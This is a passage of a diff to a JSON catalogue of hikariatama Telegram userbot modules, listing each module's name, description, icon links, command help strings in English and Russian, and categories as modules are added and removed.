"ru_doc": null, + "ilyi": { + "ru_doc": "Отправить анимацию сердец в инлайне", "en_doc": null, - "doc": "Search anime by frame" + "doc": "Send inline message with animated hearts" + } + }, + { + "ily": { + "ru_doc": "Отправить анимацию сердец", + "en_doc": null, + "doc": "Send message with animated hearts" + } + }, + { + "ilygayi": { + "ru_doc": "Отправить гейскую анимацию сердец в инлайне", + "en_doc": null, + "doc": "Send inline message with animated hearts (gay)" + } + }, + { + "ilygay": { + "ru_doc": "Отправить гейскую анимацию сердец", + "en_doc": null, + "doc": "Send message with animated hearts (gay)" } } ], "category": [ "Tools", - "Games" + "Chat" ] }, - "hikariatama/ftg/notes.py": { - "name": "NotesMod", - "description": "Advanced notes module with folders and other features", + "hikariatama/ftg/fuck_tags.py": { + "name": "FuckTagsMod", + "description": "Auto-read tags and messages in selected chats", "meta": { - "pic": "https://static.dan.tatar/notes_icon.png", - "banner": "https://mods.hikariatama.ru/badges/notes.jpg", + "pic": "https://img.icons8.com/emoji/256/000000/middle-finger-light-skin-tone.png", + "banner": "https://mods.hikariatama.ru/badges/fuck_tags.jpg", "developer": "@hikarimods" }, "commands": [ { - "hsavecmd": "[folder] <name> - Save new note" + "fucktagscmd": "[chat] - Toggle notags" }, { - "hgetcmd": "<name> - Show specified note" + "fuckallcmd": "[chat] - Toggle autoread" }, { - "hdelcmd": "<name> - Delete specified note" - }, - { - "hlistcmd": "[folder] - List all notes" + "fuckchatscmd": "Показать активные авточтения в чатах" } ], "new_commands": [ { - "hsave": { + "fucktags": { "ru_doc": null, "en_doc": null, - "doc": "[folder] <name> - Save new note" + "doc": "[chat] - Toggle notags" } }, { - "hget": { + "fuckall": { "ru_doc": null, "en_doc": null, - "doc": "<name> - Show specified note" + "doc": "[chat] - Toggle autoread" } }, { - "hdel": { + "fuckchats": { "ru_doc": null, "en_doc": null, - "doc": "<name> - Delete specified note" - } - }, - { - "hlist": { - "ru_doc": null, - "en_doc": null, - "doc": "[folder] - List all notes" + "doc": "Показать активные авточтения в чатах" } } ], "category": [ "Chat", - "Tools" + "Automation" ] }, - "hikariatama/ftg/checkege.py": { - "name": "CheckEge", - "description": "Checks Russian National Exam results", + "hikariatama/ftg/spoilers.py": { + "name": "SpoilersMod", + "description": "Create spoilers, that can be accessed only by certain users", "meta": { - "pic": "https://0x0.st/Hcj1.png", - "banner": "https://mods.hikariatama.ru/badges/checkege.jpg", + "pic": "https://img.icons8.com/external-sketchy-juicy-fish/480/000000/external-anonymous-cryptography-sketchy-sketchy-juicy-fish.png", + "banner": "https://mods.hikariatama.ru/badges/spoilers.jpg", + "developer": "@hikarimods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/alphabet.py": { + "name": "Alphabet", + "description": "Replaces your text with custom emojis. Telegram Premium only", + "meta": { + "pic": "https://img.icons8.com/plasticine/344/hiragana-ma.png", + "banner": "https://mods.hikariatama.ru/badges/alphabet.jpg", "developer": "@hikarimods" }, "commands": [ { - "checkege": "Авторизоваться и вывести результаты ЕГЭ" + "acmd": "<text> - Write text with emojis" } ], "new_commands": [ { - "checkege": { + "a": { "ru_doc": null, "en_doc": null, - "doc": "Авторизоваться и вывести результаты ЕГЭ" + "doc": "<text> - Write text with emojis" } } ], "category": [ - "Fun", - "Tools" + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/crypto.py": { + "name": "Crypto", + "description": "Some basic stuff with cryptocurrencies and @CryptoBot", + "meta": { + "pic": "https://img.icons8.com/3d-plastilina/344/3d-plastilina-three-quarter-view-of-a-bitcoin-emblem.png", + "banner": "https://mods.hikariatama.ru/badges/crypto.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "check": "<amount> [person] [comment] - Send check <сумма> [человек] [комментарий] - Выписать чек" + }, + { + "wallet": "Show wallet balance Показать баланс криптокошелька" + }, + { + "muinvoice": "[-o - don't create new one] Send multi-use invoice [-o - не создавать новый] - Отправить мультисчёт" + }, + { + "invoice": "<amount> [comment] - Send invoice <сумма> [комментарий] - Выставить счет" + }, + { + "rates": "[amount] <name> - Show cryptocurrency exchange rates [amount] <name> - Показать курс криптовалюты" + } + ], + "new_commands": [ + { + "check": { + "ru_doc": "<сумма> [человек] [комментарий] - Выписать чек", + "en_doc": null, + "doc": "<amount> [person] [comment] - Send check" + } + }, + { + "wallet": { + "ru_doc": "Показать баланс криптокошелька", + "en_doc": null, + "doc": "Show wallet balance" + } + }, + { + "muinvoice": { + "ru_doc": "[-o - не создавать новый] - Отправить мультисчёт", + "en_doc": null, + "doc": "[-o - don't create new one] Send multi-use invoice" + } + }, + { + "invoice": { + "ru_doc": "<сумма> [комментарий] - Выставить счет", + "en_doc": null, + "doc": "<amount> [comment] - Send invoice" + } + }, + { + "rates": { + "ru_doc": "[amount] <name> - Показать курс криптовалюты", + "en_doc": null, + "doc": "[amount] <name> - Show cryptocurrency exchange rates" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/fancyfonts.py": { + "name": "FancyFontsMod", + "description": "Create fancy font text with more than 10 styles available", + "meta": { + "pic": "https://static.dan.tatar/fancy_fonts_icon.png", + "banner": "https://mods.hikariatama.ru/badges/fancyfonts.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "ffontcmd": "<text> - Create the fancy version of text" + } + ], + "new_commands": [ + { + "ffont": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - Create the fancy version of text" + } + } + ], + "category": [ + "Tools", + "Chat" ] }, "hikariatama/ftg/flash_cards.py": { @@ -14105,983 +38070,6 @@ "Games" ] }, - "hikariatama/ftg/premium_sticks.py": { - "name": "PremiumStickersMod", - "description": "Sends premium stickers for free", - "meta": { - "pic": "https://0x0.st/ojP2.png", - "banner": "https://mods.hikariatama.ru/badges/premium_sticks.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "premstickcmd": "Send random premium sticker without premium" - } - ], - "new_commands": [ - { - "premstick": { - "ru_doc": null, - "en_doc": null, - "doc": "Send random premium sticker without premium" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/yoopay.py": { - "name": "YooMoneyMod", - "description": "Send Yoomoney pay link", - "meta": { - "pic": "https://static.dan.tatar/yoopay_icon.png", - "banner": "https://mods.hikariatama.ru/badges/yoopay.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "yoopaycmd": "<sum> <title> ; <comment> - Send payment link\nE.g: .yoopay 100 For coffee ; Bro, buy me a coffe, here is the link" - } - ], - "new_commands": [ - { - "yoopay": { - "ru_doc": null, - "en_doc": null, - "doc": "<sum> <title> ; <comment> - Send payment link\nE.g: .yoopay 100 For coffee ; Bro, buy me a coffe, here is the link" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/uploader.py": { - "name": "FileUploaderMod", - "description": "Different engines file uploader", - "meta": { - "pic": "https://static.dan.tatar/uploader_icon.png", - "banner": "https://mods.hikariatama.ru/badges/uploader.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "skynetcmd": "Upload to decentralized SkyNet" - }, - { - "imgurcmd": "Upload to imgur.com" - }, - { - "oxocmd": "Upload to 0x0.st" - } - ], - "new_commands": [ - { - "skynet": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload to decentralized SkyNet" - } - }, - { - "imgur": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload to imgur.com" - } - }, - { - "oxo": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload to 0x0.st" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/bigtext.py": { - "name": "BigTextMod", - "description": "Creates big ASCII Text", - "meta": { - "pic": "https://img.icons8.com/external-soft-fill-juicy-fish/480/000000/external-big-cute-monsters-soft-fill-soft-fill-juicy-fish-4.png", - "banner": "https://mods.hikariatama.ru/badges/bigtext.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "btcmd": "[chars in line] - Create big text" - } - ], - "new_commands": [ - { - "bt": { - "ru_doc": null, - "en_doc": null, - "doc": "[chars in line] - Create big text" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/insult.py": { - "name": "PoliteInsultMod", - "description": "If you need to insult but to be intelligent", - "meta": { - "pic": "https://img.icons8.com/color/480/000000/angry--v1.png", - "banner": "https://mods.hikariatama.ru/badges/insult.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "insultocmd": "Use when angry" - } - ], - "new_commands": [ - { - "insulto": { - "ru_doc": null, - "en_doc": null, - "doc": "Use when angry" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/scrolller.py": { - "name": "ScrolllerMod", - "description": "Sends pictures from scrolller.com via inline gallery", - "meta": { - "pic": "https://static.dan.tatar/scrolller_icon.png", - "banner": "https://mods.hikariatama.ru/badges/scrolller.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "gallerycmd": "<subreddit | default> - Send inline gallery with photos from subreddit" - }, - { - "gallerycatcmd": "<subreddit> - Set new default subreddit" - } - ], - "new_commands": [ - { - "gallery": { - "ru_doc": null, - "en_doc": null, - "doc": "<subreddit | default> - Send inline gallery with photos from subreddit" - } - }, - { - "gallerycat": { - "ru_doc": null, - "en_doc": null, - "doc": "<subreddit> - Set new default subreddit" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/craiyon.py": { - "name": "CrAIyonMod", - "description": "Generates images by description using Craiyon AI (DALL-E)", - "meta": { - "pic": "https://static.dan.tatar/craiyon_icon.png", - "banner": "https://mods.hikariatama.ru/badges/craiyon.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "craiyoncmd": "<description> - Generate an image by description using Craiyon AI (DALL-E)" - } - ], - "new_commands": [ - { - "craiyon": { - "ru_doc": null, - "en_doc": null, - "doc": "<description> - Generate an image by description using Craiyon AI (DALL-E)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/bulkcheck.py": { - "name": "BulkCheckMod", - "description": "Check all members of chat for leaked numbers", - "meta": { - "pic": "https://static.dan.tatar/bulkcheck_icon.png", - "banner": "https://mods.hikariatama.ru/badges/bulkcheck.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "bcheckcmd": "Bulk check using Murix database" - } - ], - "new_commands": [ - { - "bcheck": { - "ru_doc": null, - "en_doc": null, - "doc": "Bulk check using Murix database" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/artai.py": { - "name": "ArtAIMod", - "description": "Ultimate module, which uses AI to draw ppl", - "meta": { - "pic": "https://static.dan.tatar/artai_icon.png", - "banner": "https://mods.hikariatama.ru/badges/artai.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "artaicmd": "<photo> - Create anime art from photo" - } - ], - "new_commands": [ - { - "artai": { - "ru_doc": null, - "en_doc": null, - "doc": "<photo> - Create anime art from photo" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/spoilers.py": { - "name": "SpoilersMod", - "description": "Create spoilers, that can be accessed only by certain users", - "meta": { - "pic": "https://img.icons8.com/external-sketchy-juicy-fish/480/000000/external-anonymous-cryptography-sketchy-sketchy-juicy-fish.png", - "banner": "https://mods.hikariatama.ru/badges/spoilers.jpg", - "developer": "@hikarimods" - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/rpmod.py": { - "name": "RPMod", - "description": "RPMod by HikariMods", - "meta": { - "pic": "https://img.icons8.com/color/480/000000/comedy.png", - "banner": "https://mods.hikariatama.ru/badges/rpmod.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "rpcmd": "<command> <message> - Add RP Command. If message unspecified, remove command" - }, - { - "rptogglecmd": "Toggle RP Mode in current chat" - }, - { - "rplistcmd": "List RP Commands" - }, - { - "rpbackupcmd": "Backup RP Commands to file" - }, - { - "rprestorecmd": "Restore RP Commands from file" - }, - { - "rpchatscmd": "List chats, where RPM is active" - } - ], - "new_commands": [ - { - "rp": { - "ru_doc": null, - "en_doc": null, - "doc": "<command> <message> - Add RP Command. If message unspecified, remove command" - } - }, - { - "rptoggle": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle RP Mode in current chat" - } - }, - { - "rplist": { - "ru_doc": null, - "en_doc": null, - "doc": "List RP Commands" - } - }, - { - "rpbackup": { - "ru_doc": null, - "en_doc": null, - "doc": "Backup RP Commands to file" - } - }, - { - "rprestore": { - "ru_doc": null, - "en_doc": null, - "doc": "Restore RP Commands from file" - } - }, - { - "rpchats": { - "ru_doc": null, - "en_doc": null, - "doc": "List chats, where RPM is active" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/keyword.py": { - "name": "KeywordMod", - "description": "Allows you to create custom filters with regexes, commands and unlimited funcionality", - "meta": { - "pic": "https://img.icons8.com/fluency/48/000000/macbook-chat.png", - "banner": "https://mods.hikariatama.ru/badges/keyword.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "kwordcmd": "<keyword | could be in quotes | & for multiple words that should be in msg> <message | empty to remove keyword> [-r for full match] [-m for autoreading msg] [-l to log in pm] [-e for regular expressions]" - }, - { - "kwordscmd": "List current kwords" - }, - { - "kwblcmd": "Blacklist chat from answering keywords" - }, - { - "kwbllistcmd": "List blacklisted chats" - } - ], - "new_commands": [ - { - "kword": { - "ru_doc": null, - "en_doc": null, - "doc": "<keyword | could be in quotes | & for multiple words that should be in msg> <message | empty to remove keyword> [-r for full match] [-m for autoreading msg] [-l to log in pm] [-e for regular expressions]" - } - }, - { - "kwords": { - "ru_doc": null, - "en_doc": null, - "doc": "List current kwords" - } - }, - { - "kwbl": { - "ru_doc": null, - "en_doc": null, - "doc": "Blacklist chat from answering keywords" - } - }, - { - "kwbllist": { - "ru_doc": null, - "en_doc": null, - "doc": "List blacklisted chats" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/cloud.py": { - "name": "ModuleCloudMod", - "description": "Hikari modules management", - "meta": { - "pic": "https://static.dan.tatar/cloud_icon.png", - "banner": "https://mods.hikariatama.ru/badges/cloud.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "ilinkcmd": "<modname> - Get hikari module banner" - } - ], - "new_commands": [ - { - "ilink": { - "ru_doc": null, - "en_doc": null, - "doc": "<modname> - Get hikari module banner" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "hikariatama/ftg/catgirl.py": { - "name": "CatgirlMod", - "description": "Sends cute anime girl pictures", - "meta": { - "pic": "https://static.dan.tatar/catgirl_icon.png", - "banner": "https://mods.hikariatama.ru/badges/catgirl.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "catgirlcmd": "[nsfw] - Send catgirl picture [nsfw] - Показать кошкодевочку" - } - ], - "new_commands": [ - { - "catgirl": { - "ru_doc": "[nsfw] - Показать кошкодевочку", - "en_doc": null, - "doc": "[nsfw] - Send catgirl picture" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "hikariatama/ftg/fancyfonts.py": { - "name": "FancyFontsMod", - "description": "Create fancy font text with more than 10 styles available", - "meta": { - "pic": "https://static.dan.tatar/fancy_fonts_icon.png", - "banner": "https://mods.hikariatama.ru/badges/fancyfonts.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "ffontcmd": "<text> - Create the fancy version of text" - } - ], - "new_commands": [ - { - "ffont": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - Create the fancy version of text" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/ratemod.py": { - "name": "RateModuleMod", - "description": "Rates module and suggests fixes", - "meta": { - "pic": "https://img.icons8.com/external-phatplus-lineal-color-phatplus/512/000000/external-rate-email-phatplus-lineal-color-phatplus.png", - "banner": "https://mods.hikariatama.ru/badges/ratemod.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "ratemodcmd": "<reply_to_file|file|link> - Rate code" - } - ], - "new_commands": [ - { - "ratemod": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply_to_file|file|link> - Rate code" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/tictactoe.py": { - "name": "TicTacToeMod", - "description": "Play your favorite game in Telegram", - "meta": { - "pic": "https://static.dan.tatar/tictactoe_icon.png", - "banner": "https://mods.hikariatama.ru/badges/tictactoe.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "tictactoecmd": "Start new tictactoe game" - }, - { - "tictacaicmd": "Play with 🐻 Bear (You have no chances to win)" - } - ], - "new_commands": [ - { - "tictactoe": { - "ru_doc": null, - "en_doc": null, - "doc": "Start new tictactoe game" - } - }, - { - "tictacai": { - "ru_doc": null, - "en_doc": null, - "doc": "Play with 🐻 Bear (You have no chances to win)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/emotionless.py": { - "name": "EmotionlessMod", - "description": "Automatically reads reactions", - "meta": { - "pic": "https://img.icons8.com/external-vitaliy-gorbachev-flat-vitaly-gorbachev/464/000000/external-sad-social-media-vitaliy-gorbachev-flat-vitaly-gorbachev.png", - "banner": "https://mods.hikariatama.ru/badges/emotionless.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "noreacts": "Toggle reactions auto-reader Переключить авточтение реакций" - } - ], - "new_commands": [ - { - "noreacts": { - "ru_doc": "Переключить авточтение реакций", - "en_doc": null, - "doc": "Toggle reactions auto-reader" - } - } - ], - "category": [ - "Chat", - "Automation" - ] - }, - "hikariatama/ftg/declaration.py": { - "name": "Declaration", - "description": "If you are too humble to declare your love, use this module", - "meta": { - "pic": "https://img.icons8.com/stickers/344/love-message.png", - "banner": "https://mods.hikariatama.ru/badges/declaration.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "declare": "Declare love Признаться в любви" - } - ], - "new_commands": [ - { - "declare": { - "ru_doc": "Признаться в любви", - "en_doc": null, - "doc": "Declare love" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/inactive.py": { - "name": "Inactive", - "description": "Blocks people who are inactive for a long time. Check .config", - "meta": { - "pic": "https://img.icons8.com/external-wanicon-flat-wanicon/344/external-dead-halloween-costume-avatar-wanicon-flat-wanicon.png", - "banner": "https://mods.hikariatama.ru/badges/inactive.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "inactive": "Start inactive users cleaner Запустить чистку неактивных юзеров" - } - ], - "new_commands": [ - { - "inactive": { - "ru_doc": "Запустить чистку неактивных юзеров", - "en_doc": null, - "doc": "Start inactive users cleaner" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/sticks.py": { - "name": "StickManagerMod", - "description": "Sticker manager with video stickers support and friendly design", - "meta": { - "pic": "https://img.icons8.com/fluency/240/000000/sticker.png", - "banner": "https://mods.hikariatama.ru/badges/sticks.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "rmbg": "<reply> - Remove background from image <ответ> - Убрать фон с картинки" - }, - { - "newpack": "<short_name> <name> [-a <alias>] - Create new pack <short_name> <название> [-a <алиас>] - Создать новый стикерпак" - }, - { - "newvidpack": "<short_name> <name> [-a <alias>] - Create new video stickers pack <short_name> <имя> [-a <алиас>] - Создать новый видео стикерпак" - }, - { - "syncpacks": "Sync existing stickersets with @stickers Синхронизировать стикерпаки с @stickers" - }, - { - "packs": "Short available stickersets Показать доступные стикерпаки" - }, - { - "stickalias": "<alias> [short_name] - Add or remove alias <алиас> [short_name] - Добавить или удалить алиас" - }, - { - "stickdef": "<short_name|alias> - Set default stickerpack <short_name|алиас> - Установить стандартный стикерпак" - }, - { - "rmpack": "<short_name|alias> - Remove stickerpack <short_name|алиас> - Удалить стикерпак" - }, - { - "unstick": "<reply> - Remove sticker from pack <реплай> - Удалить стикер из пака" - }, - { - "stick": "[emoji] [short_name|alias] [-o - add outline] [-r - remove background] [-q - Do not add sticker to pack, just send it] [-t <text> - add text] - Add sticker to pack. If not specified - default\nExample:\n.stick mypack -o -r -q -t Hello world! [эмодзи] [short_name|алиам] [-o - добавить окантовку] [-r - убрать фон] [-q - Не добавлять в пак, а просто отправить стикер] [-t <текст> - наложить текст] - Добавить стикер \\ картинку в пак. Если не указано в какой, будет использован стандартный\nПример:\n.stick mypack -o -r -q -t Привет, мир!" - }, - { - "rmrecent": "Clear recently used stickers Очистить недавно использованные стикеры" - } - ], - "new_commands": [ - { - "rmbg": { - "ru_doc": "<ответ> - Убрать фон с картинки", - "en_doc": null, - "doc": "<reply> - Remove background from image" - } - }, - { - "newpack": { - "ru_doc": "<short_name> <название> [-a <алиас>] - Создать новый стикерпак", - "en_doc": null, - "doc": "<short_name> <name> [-a <alias>] - Create new pack" - } - }, - { - "newvidpack": { - "ru_doc": "<short_name> <имя> [-a <алиас>] - Создать новый видео стикерпак", - "en_doc": null, - "doc": "<short_name> <name> [-a <alias>] - Create new video stickers pack" - } - }, - { - "syncpacks": { - "ru_doc": "Синхронизировать стикерпаки с @stickers", - "en_doc": null, - "doc": "Sync existing stickersets with @stickers" - } - }, - { - "packs": { - "ru_doc": "Показать доступные стикерпаки", - "en_doc": null, - "doc": "Short available stickersets" - } - }, - { - "stickalias": { - "ru_doc": "<алиас> [short_name] - Добавить или удалить алиас", - "en_doc": null, - "doc": "<alias> [short_name] - Add or remove alias" - } - }, - { - "stickdef": { - "ru_doc": "<short_name|алиас> - Установить стандартный стикерпак", - "en_doc": null, - "doc": "<short_name|alias> - Set default stickerpack" - } - }, - { - "rmpack": { - "ru_doc": "<short_name|алиас> - Удалить стикерпак", - "en_doc": null, - "doc": "<short_name|alias> - Remove stickerpack" - } - }, - { - "unstick": { - "ru_doc": "<реплай> - Удалить стикер из пака", - "en_doc": null, - "doc": "<reply> - Remove sticker from pack" - } - }, - { - "stick": { - "ru_doc": "[эмодзи] [short_name|алиам] [-o - добавить окантовку] [-r - убрать фон] [-q - Не добавлять в пак, а просто отправить стикер] [-t <текст> - наложить текст] - Добавить стикер \\ картинку в пак. Если не указано в какой, будет использован стандартный\nПример:\n.stick mypack -o -r -q -t Привет, мир!", - "en_doc": null, - "doc": "[emoji] [short_name|alias] [-o - add outline] [-r - remove background] [-q - Do not add sticker to pack, just send it] [-t <text> - add text] - Add sticker to pack. If not specified - default\nExample:\n.stick mypack -o -r -q -t Hello world!" - } - }, - { - "rmrecent": { - "ru_doc": "Очистить недавно использованные стикеры", - "en_doc": null, - "doc": "Clear recently used stickers" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/tidal.py": { - "name": "TidalMod", - "description": "API wrapper over TIDAL Hi-Fi music streaming service", - "meta": { - "pic": "https://static.dan.tatar/tidal_icon.png", - "banner": "https://mods.hikariatama.ru/badges/tidal.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "tlogincmd": "Open OAuth window to login into TIDAL Авторизация в TIDAL" - }, - { - "tidalcmd": "<query> - Search TIDAL <запрос> - Поиск трека в TIDAL" - } - ], - "new_commands": [ - { - "tlogin": { - "ru_doc": "Авторизация в TIDAL", - "en_doc": null, - "doc": "Open OAuth window to login into TIDAL" - } - }, - { - "tidal": { - "ru_doc": "<запрос> - Поиск трека в TIDAL", - "en_doc": null, - "doc": "<query> - Search TIDAL" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/pollplot.py": { - "name": "PollPlotMod", - "description": "Visualises polls as plots", - "meta": { - "pic": "https://static.dan.tatar/pollplot_icon.png", - "banner": "https://mods.hikariatama.ru/badges/pollplot.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "plotcmd": "<reply> - Create plot from poll" - } - ], - "new_commands": [ - { - "plot": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - Create plot from poll" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/hw.py": { - "name": "HomeworkMod", - "description": "Simple Homework planner", - "meta": { - "pic": "https://static.dan.tatar/hw_icon.png", - "banner": "https://mods.hikariatama.ru/badges/hw.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "hwcmd": "<item> - New hometask" - }, - { - "hwlcmd": "List of hometasks" - }, - { - "uhwcmd": "<id> - Remove hometask" - } - ], - "new_commands": [ - { - "hw": { - "ru_doc": null, - "en_doc": null, - "doc": "<item> - New hometask" - } - }, - { - "hwl": { - "ru_doc": null, - "en_doc": null, - "doc": "List of hometasks" - } - }, - { - "uhw": { - "ru_doc": null, - "en_doc": null, - "doc": "<id> - Remove hometask" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/lastcommand.py": { - "name": "LastCommandMod", - "description": "Execute last command", - "meta": { - "pic": "https://static.dan.tatar/lastcommand_icon.png", - "banner": "https://mods.hikariatama.ru/badges/lastcommand.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "lccmd": "Execute last command" - } - ], - "new_commands": [ - { - "lc": { - "ru_doc": null, - "en_doc": null, - "doc": "Execute last command" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/secret_chat.py": { - "name": "SecretChatMod", - "description": "De-secrets secret chats", - "meta": { - "pic": "https://static.dan.tatar/secret_chat_icon.png", - "banner": "https://mods.hikariatama.ru/badges/secret_chat.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "desecretcmd": "Toggle secret chat handler" - } - ], - "new_commands": [ - { - "desecret": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle secret chat handler" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/surl.py": { - "name": "AutoShortenerMod", - "description": "Automatically shortens urls in your messages, which are larger than specified threshold", - "meta": { - "pic": "https://img.icons8.com/external-xnimrodx-lineal-color-xnimrodx/512/000000/external-short-shopping-mall-xnimrodx-lineal-color-xnimrodx.png", - "banner": "https://mods.hikariatama.ru/badges/surl.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "autosurlcmd": "Toggle automatic url shortener" - }, - { - "surlcmd": "[url] [engine]- Shorten url" - } - ], - "new_commands": [ - { - "autosurl": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle automatic url shortener" - } - }, - { - "surl": { - "ru_doc": null, - "en_doc": null, - "doc": "[url] [engine]- Shorten url" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, "hikariatama/ftg/temp_chat.py": { "name": "TmpChats", "description": "Creates temprorary chats", @@ -15149,35 +38137,25 @@ "Tools" ] }, - "hikariatama/ftg/trashguy.py": { - "name": "TrashGuyMod", - "description": "Animation of trashguy taking out the trash", + "hikariatama/ftg/deepl.py": { + "name": "DeepLMod", + "description": "Translates text via DeepL scraping. Proxies are recommended", "meta": { - "pic": "https://static.dan.tatar/trashguy_icon.png", - "banner": "https://mods.hikariatama.ru/badges/trashguy.jpg", + "pic": "https://img.icons8.com/external-xnimrodx-lineal-color-xnimrodx/512/000000/external-translate-discussion-xnimrodx-lineal-color-xnimrodx.png", + "banner": "https://mods.hikariatama.ru/badges/deepl.jpg", "developer": "@hikarimods" }, "commands": [ { - "tguyicmd": "<text> - TrashGuy Inline" - }, - { - "tguycmd": "<text> - TrashGuy" + "deeplcmd": "<text or reply> - Translate text via DeepL scraping" } ], "new_commands": [ { - "tguyi": { + "deepl": { "ru_doc": null, "en_doc": null, - "doc": "<text> - TrashGuy Inline" - } - }, - { - "tguy": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - TrashGuy" + "doc": "<text or reply> - Translate text via DeepL scraping" } } ], @@ -15186,434 +38164,25 @@ "Chat" ] }, - "hikariatama/ftg/serverinfo.py": { - "name": "serverInfoMod", - "description": "Show server info", + "hikariatama/ftg/porn.py": { + "name": "PornMod", + "description": "Sends adult content directly to Telegram. Use with caution", "meta": { - "pic": "https://static.dan.tatar/serverinfo_icon.png", - "banner": "https://mods.hikariatama.ru/badges/serverinfo.jpg", + "pic": "https://static.dan.tatar/porn_icon.png", + "banner": "https://mods.hikariatama.ru/badges/porn.jpg", "developer": "@hikarimods" }, "commands": [ { - "serverinfo": "Show server info Показать информацию о сервере" + "porncmd": "<query> - Send adult content gallery (be aware using in public chats)" } ], "new_commands": [ { - "serverinfo": { - "ru_doc": "Показать информацию о сервере", - "en_doc": null, - "doc": "Show server info" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/spotify.py": { - "name": "SpotifyMod", - "description": "Display beautiful spotify now bar. Idea: t.me/fuccsoc. Implementation: t.me/hikariatama", - "meta": { - "pic": "https://static.dan.tatar/spotify_icon.png", - "banner": "https://mods.hikariatama.ru/badges/spotify.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "srepeatcmd": "💫 Repeat" - }, - { - "sderepeatcmd": "✋ Stop repeat" - }, - { - "snextcmd": "👉 Skip" - }, - { - "spausecmd": "🤚 Pause" - }, - { - "splaycmd": "▶️ Play" - }, - { - "sfindcmd": "Find info about track" - }, - { - "sqcmd": "🔎" - }, - { - "sbackcmd": "⏮" - }, - { - "sbegincmd": "⏪" - }, - { - "slikecmd": "❤️" - }, - { - "sauthcmd": "First stage of auth" - }, - { - "scodecmd": "Second stage of auth" - }, - { - "unauthcmd": "Deauth from Spotify API" - }, - { - "sbiocmd": "Toggle bio playback streaming" - }, - { - "stokrefreshcmd": "Force refresh token" - }, - { - "snowcmd": "Show current playback badge" - } - ], - "new_commands": [ - { - "srepeat": { + "porn": { "ru_doc": null, "en_doc": null, - "doc": "💫 Repeat" - } - }, - { - "sderepeat": { - "ru_doc": null, - "en_doc": null, - "doc": "✋ Stop repeat" - } - }, - { - "snext": { - "ru_doc": null, - "en_doc": null, - "doc": "👉 Skip" - } - }, 